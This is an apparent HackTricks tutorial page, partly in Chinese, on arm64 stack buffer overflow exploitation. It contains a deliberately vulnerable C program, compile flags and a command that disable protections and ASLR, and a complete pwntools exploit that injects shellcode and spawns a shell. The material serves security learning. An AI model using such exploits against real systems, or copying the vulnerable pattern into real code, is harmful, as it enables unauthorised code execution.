1.8 KiB
Raw Blame History

Stack Shellcode - arm64

{{#include ../../../banners/hacktricks-training.md}}

在以下内容中找到关于 arm64 的介绍:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

在没有 PIE、canary 和 NX 的情况下编译:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

No ASLR & No canary - Stack Overflow

要停止 ASLR请执行

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

要获取bof的偏移量请查看此链接

利用:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

唯一“复杂”的事情是找到调用的栈地址。在我的情况下,我使用 gdb 找到的地址生成了漏洞利用,但在利用时它没有工作(因为栈地址稍微改变了)。

我打开了生成的 core 文件 (gdb ./bog ./core),并检查了 shellcode 开始的真实地址。

{{#include ../../../banners/hacktricks-training.md}}